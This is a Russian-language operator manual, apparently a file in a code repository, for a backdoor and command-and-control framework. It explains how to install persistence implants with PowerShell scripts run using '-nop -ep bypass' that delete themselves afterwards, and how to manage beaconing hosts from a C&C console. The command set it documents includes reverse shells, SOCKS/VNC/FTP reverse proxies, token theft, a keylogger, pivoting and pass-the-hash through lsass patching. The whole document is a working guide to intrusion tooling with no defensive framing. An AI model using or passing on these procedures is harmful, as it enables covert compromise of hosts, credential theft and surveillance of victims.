-
Notifications
You must be signed in to change notification settings - Fork 32
Expand file tree
/
Copy pathguide.txt
More file actions
212 lines (188 loc) · 26.6 KB
/
Copy pathguide.txt
File metadata and controls
212 lines (188 loc) · 26.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
Краткая инструкция
Основные объекты для взаимодействия:
Графическая консоль [front_gui] (эта веб-консоль) - для управления закрепами на хостах, назначения очереди заданий, запуска модулей для интерактивной работы и т.д.
Консольная утилита [bc] - для работы с интерактивными модулями через классическую консоль
Powershell-скрипты [ps_scripts] - для запуска на хостах с целью установки закрепа, запуска некоторых модулей без установки закрепа и др.
[front_gui]
Страница Main
Приветствие и инструкция.
Страница Nodes
Основная страница. Здесь осуществляется управление закрепами (Nodes).
Закреп устанавливается на целевом хосте запуском скрипта RunSchedulerTask.ps1. Каждому закрепу соответствует свой уникальный хэш (Hash). По умолчанию закреп отстукивается через https раз в 1-1.5 часа за новой очередью заданий. При первом отстуке закреп скачивает свежее ядро с базовым функционалом. Если закреп отстукивается от ранее неизвестного IP адреса, для скачивания ядра и дальнейшей работы его нужно верифицировать в списке закрепов. На верификацию дается 5 минут, в противном случае закреп уйдет в ожидание до следующего отстука, не скачав ядро.
Блок Statistics
Общая количественная статистика по закрепам:
Alive nodes (последний отстук менее 2ч назад)
Offline nodes (последний отстук в интервале от 2ч до 40ч)
Dead nodes (более 40ч назад)
New nodes 24h (отстуки от ранее неизвестных закрепов за 24ч)
New nodes 72h (отстуки от ранее неизвестных закрепов за 72ч)
Unverified nodes (отстуки с неверифицированных хостов)
При нажатии на один из вариантов табличная часть с перечнем клиентов отфильтруется по выбранной категории.
Здесь же ниже отображается текущее состояние серверов (отвечают/не отвечают) по типам:
Command server основные C&C сервера, куда приходят закрепы
Shell server сервера, через которые работает интерактивный шелл (модуль SHELL)
Proxifier server обратные проксирующие сервера (через которые работают модули SOCKS/VNC/FTP)
Блок Task assignments
Добавление заданий (Task) выбранным закрепам. Задание можно назначить по кнопке Assign либо закрепам, выбранным в списке закрепов ниже (Assign to selected in Node list), либо на ранее определенную группу закрепов (Assign to group...). ВАЖНО! Задания встают в очередь и назначаются на исполнение в хронологическом порядке со следующим отстуком закрепа. В таблице ниже отображается только последнее задание, посмотреть очередь заданий для хоста можно в закладке Tasks перейдя на страницу конкретного хоста.
Подробнее по типам заданий:
Set group - назначить выбранным закрепам группу (можно выбрать уже существующую группу или написать название для создания новой группы)
Gather information - собрать с хоста, на котором стоит закреп, общую информацию (ОС, битность, вывод ipconfig и т.д.). Собранная информация будет доступна на странице конкретного закрепа после выполнения задания.
Run CMD command - выполнить произвольную команду в cmd.exe, вывод команды будет доступен в сведениях об этом задании в списке закрепов или на странице этого закрепа в информации о заданиях. Параметры:
<строка с командой>
Upload & run SHELL module - подгрузить модуль SHELL и запустить обратный шелл, который придет на предопределенный адрес. Общие сведения по шеллам доступны на странице Shell nodes. Дальнейшая работа с шеллами осуществляется через консольную утилиту [bc].
Upload & run SOCKS module - подгрузить модуль SOCKS и запустить обратный socks5, который придет на предопределенный адрес. Общие сведения по socks5 доступны на странице Proxifier. Дальше для sock5-proxy можно указывать порт, который появится на странице Proxifier для хэша этого закрепа, либо увидеть его в информации об этом задании после его выполнения. Параметры:
<адрес проксирующего сервера>
<порт проксирующего сервера для подключения модуля>
<пароль для подключения>
Sleep ONE TIME - однократно отстучаться спустя указанное время, а не через интервал по умолчанию. Параметры:
<интервал в секундах>
Set interval time - установить новый интервал отстука +-25% вместо интервала по умолчанию. Параметры:
<интервал в секундах>
Restart & reload core - выгрузить текущее ядро и скачать новое для обновления базового функционала.
Stop until reboot - выключить закреп до перезагрузки хоста.
Remove persistance - полностью удалить закреп.
Блок Node list
Список всех закрепов, когда-либо отстукивавшихся на сервере.
Поля:
Hash - уникальный хэш хоста, на котором установлен закреп. При нажатии можно перейти на страницу с подробной информацией о закрепе, его хосте, его заданиях и т.д.
Group - группа, в которую был определен хост.
Server Tag - идентификатор промежуточного сервера, через который в последний раз отстучался закреп.
IP/Verified - внешний IP, с которого пришел закреп и перечень адресов, отстук с которых был верифицирован.
Last Heartbeat - дата/время последнего отстука.
Last Task - краткий статус последнего задания.
Description - комментарий к хосту, на котором установлен закреп.
Action - поле с активными кнопками. Edit (Save/Cancel) - для установки комментария к закрепу. Verify (Hash+IP) - верифицировать для этого закрепа IP адрес, с которого он отстучался. Verify (Hash+AnyIP) - верифицировать любые IP адреса для этого закрепа.
+ - дополнительная информация о закрепе
Страница Node information
Подробная информация о закрепе и хосте.
Закладки:
Overview - общая информация.
Log - логи событий по данному хосту.
Tasks - назначение заданий данному хосту аналогично странице Nodes и список ранее назначенных данному хосту заданий аналогично странице Tasks.
systeminfo - вывод команды [systeminfo], полученный по завершению задания Gather information
netview - вывод команды [net view], полученный по завершению задания Gather information
netstat - вывод команды [netstat /naop TCP], полученный по завершению задания Gather information
tasklist - вывод команды [tasklist /v], полученный по завершению задания Gather information
netstart - вывод команды [net start], полученный по завершению задания Gather information
ipconfig - вывод команды [ipconfig /all], полученный по завершению задания Gather information
domainadmins - вывод команды [net group "domain admins" /domain], полученный по завершению задания Gather information
Страница Shell nodes
Список обратных шеллов, запущенных как в качестве модуля SHELL через управление закрепами, так и запущенных через скрипт RunSchedulerTaskOnce.ps1. Подробнее про работу с шеллами см. в разделе консольной утилиты [bc].
Поля:
Hash - уникальный хэш хоста, на котором запущен шелл. Совпадает с хэшем, назначенным хосту на странице Nodes.
IP - адрес, с которого пришел шелл.
Group - группа, в которую был определен хост. Совпадает с группой, назначенной хосту на странице Nodes.
Status - активный/или неактивный шелл.
Type - тип шелла. SHELL - базовый шелл, VNC - доступ возможен через VNC.
Port - порт для подключения (при наличии VNC).
Description - комментарий к хосту. Совпадает с комментарием, назначенным хосту на странице Nodes.
Action - поле с активными кнопками. Edit (Save/Cancel) - для установки комментария к закрепу с соответствующим хэшем. Аналогично странице Nodes.
Страница Proxifier
Список коннектов, пришедших на проксирующий сервер как в качестве модулей SOCKS/FTP/VNC и т.д. через управление закрепами, так и запущенных через консоль [bc].
Поля:
Hash - уникальный хэш хоста, на котором запущен модуль. Совпадает с хэшем, назначенным хосту на странице Nodes.
Port - порт для подключения по соответствующему протоколу.
Group - группа, в которую был определен хост. Совпадает с группой, назначенной хосту на странице Nodes.
Description - комментарий к хосту. Совпадает с комментарием, назначенным хосту на странице Nodes.
Страница Task list
Общий список заданий, ранее назначенных закрепам. Можно выбрать незавершенные задания для их отмены по кнопке Remove selected.
Поля:
Assigned to - уникальный хэш хоста, на котором запущен закреп.
Code - код задания.
Text - текст задания.
Created Date - дата создания задания.
Completed Date - дата завершения задания.
Status - статус выполнения задания.
Result Text - краткий вывод результата выполнения задания.
+ - подробный текст задания и результата выполнения задания.
Статусы заданий:
Created - задание создано на сервере и будет назначено хосту, когда отстучится закреп.
Pending - задание передано хосту и ожидается ответ.
Success - задание выполнено успешно.
Failure - не удалось выполнить задание, указывается код ошибки.
Unknown - получен неожиданный ответ от хоста: результат выполнения неизвестен, возможно закреп был перезапущен после получения задани, но до отправки ответа.
[bc]
Утилита для подключения к шелл-серверу для интерактивной работы с обратным шеллом. При подключении отображается список всех шеллов, которые приходили на сервер. Можно подключиться к конкретному из них, введя соответствующий хэш хоста из списка. Далее нужно выбрать канал для работы с конкретным шеллом. Всего доступно 10 каналов для параллельной работы каждого подключившегося со своим отдельным процессом cmd.exe (либо с иным процессом, который был указан в качестве параметра в случае запуска скрипта RunSchedulerTaskOnce.ps1, см. раздел [ps_scripts]).
Помимо ввода/вывода в запущенный процесс, в утилите также доступны следующие команды:
help - вывести краткую спрравку по командам
q - quit, выйти из консоли, равносительно Ctrl+C
rc - read config, перечитать конфиг-файл с дополнительными командам, см. ниже
stm - set timeout, выести/установить глобально таймаут для шелл-соединений при ожидании ответа. Параметры:
[-s] <ОПЦИОНАЛЬНО таймаут в секундах>
lc - list clients, вывести список шеллов
lch - list channels, вывести информацию по каналам для текущего выбранного шелла
lm - list modules, вывести информацию о запущенных через шелл модулях
ul - upload file, загрузить на удаленный хост файл. Параметры:
<путь к файлу для загрузки>
<полный путь на удаленном хосте для записи файла, включая его имя>
dl - download file, скачать файл с удаленного хоста. Параметры:
<полный путь на удаленном хосте к скачиваемому файлу>
lt - list tokens, вывод информации по токенам сессий
st - steal token, украсть токен другого пользователя из какого-либо процесса и запустить с его правами другой процесс, переключив на него управление в консоли. Параметры:
[-i] <Id процесса, из которого украть токен>
[-c] <ОПЦИОНАЛЬНО команда, в которую перейти с украденным токеном, по умолчанию cmd.exe>
rt - return token, завершить процесс, запущенный с помощью украденного токена и вернуть управление в исходный процесс
tun - tunnel, запустить модуль SOCKS. Параметры:
[-b] <битность, 'x64' или 'x32'>
[-i] <адрес обратного проксирующего сервера>
[-p] <порт обратного проксирующего сервера для подключения модуля>
[-k] <пароль для подключения к серверу>
ft - file transfer, запустить модуль FTP. Параметры:
[-b] <битность, 'x64' или 'x32'>
[-i] <адрес обратного проксирующего сервера>
[-p] <порт обратного проксирующего сервера для подключения модуля>
[-k] <пароль для подключения к серверу>
[-r] <корневой путь в файловой системе для поднятия FTP, например C:>
[-a] <строка авторизации, выступает в качестве логина и пароля при подключении к FTP>
vnc - VNC, запустить модуль VNC. Параметры:
[-b] <битность, 'x64' или 'x32'>
[-i] <адрес обратного проксирующего сервера>
[-p] <порт обратного проксирующего сервера для подключения модуля>
[-k] <пароль для подключения к серверу>
[-a] <пароль для подключения к VNC>
[-s] <Id процесса, у которого украсть пользовательскую сессию для считывания экрана>
kl - keylogger, запустить модуль KEYLOG для работы кейлоггера указанное время. Параметры:
[-b] <битность, 'x64' или 'x32'>
[-i] <имя файла, в который вести запись ИЛИ адрес коммандного сервера>
[-p] <0 в случае записи в файл ИЛИ порт коммандного сервера для подключения>
[-d] <длительность работы кейлоггера в секундах>
[-s] <Id процесса, у которого украсть пользовательскую сессию для считывания нажатия клавиш>
pvt - pivot, запустить модуль PIVOT для поднятия локального прозрачного прокси (пивотинг). Параметры:
[-b] <битность, 'x64' или 'x32'>
[-l] <локальный порт для входящего трафика>
[-i] <адрес сервера/другого прокси, на который перенаправлять трафик>
[-p] <порт сервера/другого прокси, на который перенаправлять трафик>
pth - pass the hash, запустить модуль PTH, который запустит отдельный процесс, для которого пропатчит lsass указанным хэшом, и выполнит нужную команду. PID порожденного процесса можно увидеть через [lm], если процесс живой, можно украсть из него токен через [st]. Параметры:
[-b] <битность, 'x64' или 'x32'>
[-u] <имя пользователя>
[-d] <домен, для локального пользователя '.'>
[-h] <ntlm хэш>
[-c] <команда>
stp - stop, остановить запущенный модуль. Параметры:
<PID, который видно через команду [lm] модуля ЛИБО имя модуля, 'tun', 'kl', 'vnc', 'ft', 'pvt' и т.д.>
fc - force clear, очистить канал передачи данных
dc - disconnect, завершить процесс в текущем канале и отсоединиться от текущего выбранного шелла
ex - exit, отсоединиться от текущего выбранного шелла, но не завершать процесс в текущем канале
perskill - persistance kill, удалить закреп на текущем хосте
shkill - shell kill, завершить работу текущего выбранного шелла, но не завершать работу модулей
hardkill - hard kill, завершить работу как выбранного шелла, так и всех модулей, ранее обнаруженных/запущенных шеллом
Дополнительные команды для bc
При запуске утилиты bc или при выполнении команды rc происходит чтение файла config.cfg из того же каталога. В нем в формате JSON можно описывать дополнительные команды для выполнения как локально, так и на удаленном хосте, так и использовать базовые команды утилиты с уже подставленными параметрами, если таковые часто используются. Дополнительные команды также можно объединять в последовательности.
Пример содержимого конфиг-файла: { //Создать новую команду - ns "ns": [ { //Инструкция выполняется на удаленном хосте "run":"remote", //Выполнить nslookup, используя параметры 1 и 2, которые будут переданы команде ns "text":"nslookup $1 $2" } ], //Создать новую команду - wh "wh": [ { //Инструкция выполняется локально "run":"local", //Выполнить инструкцию touch, параметр (test.bat) забит статично "text":"touch test.bat" }, { //Инструкция выполняется локально "run":"local", //Выполнить команду утилиты ul, параметры забиты статично "text":"ul test.bat C:\tmp\test_remote.bat" }, { //Инструкция выполняется на удаленном хосте "run":"remote", //Выполнить инструкцию whoami "text":"whoami" }, { //Инструкция выполняется на удаленном хосте "run":"remote", //Запустить инструкцию runas, используя вывод предыдущей команды (подставляется вместо $0), второй параметр (C:\test_remote.bat) забит статично "text":"runas "$0" C:\test_remote.bat" } ] }
[ps_scripts]
Утилитарные скрипты для запуска на хостах. Запускаются как powershell.exe -nop -ep bypass -c <название скрипта> и далее указываются соответствующие параметры. ВАЖНО! Скрипт самоуничтожается после выполнения. Скрипты с I постфиксом - это IEX версии аналогичных скриптов.
Скрипты:
RunSchedulerTask.ps1 - установить закреп на хосте. Параметры:
<ключ расшифровки>
<[опционально] Id процесса для завершения, если сразу нужно убить процесс предыдущего закрепа>
RunSchedulerTaskU.ps1 - установить закреп на хосте без привилегированных прав (userland). Создается задание в windows scheduler. Параметры:
<ключ расшифровки>
<время ежедневного запуска шедулера в формате 'HH:mm'>
RunSchedulerTaskOnce.ps1 - запустить шелл. Параметры:
<[опционально] адрес шелл сервера/прокси>
<[опционально] порт подключения к шелл серверу/прокси>
<[опционально] команда для запуска процесса, в который передавать управление при внешнем подключении. По умолчанию - cmd.exe>
RunPvt.ps1 - запустить перенаправляющий прокси. Удобно, если нужно запустить шелл на хосте без доступа к интернету. Параметры:
<локальный порт для входящего трафика>
<адрес сервера/другого прокси, на который перенаправлять трафик>
<порт сервера/другого прокси, на который перенаправлять трафик>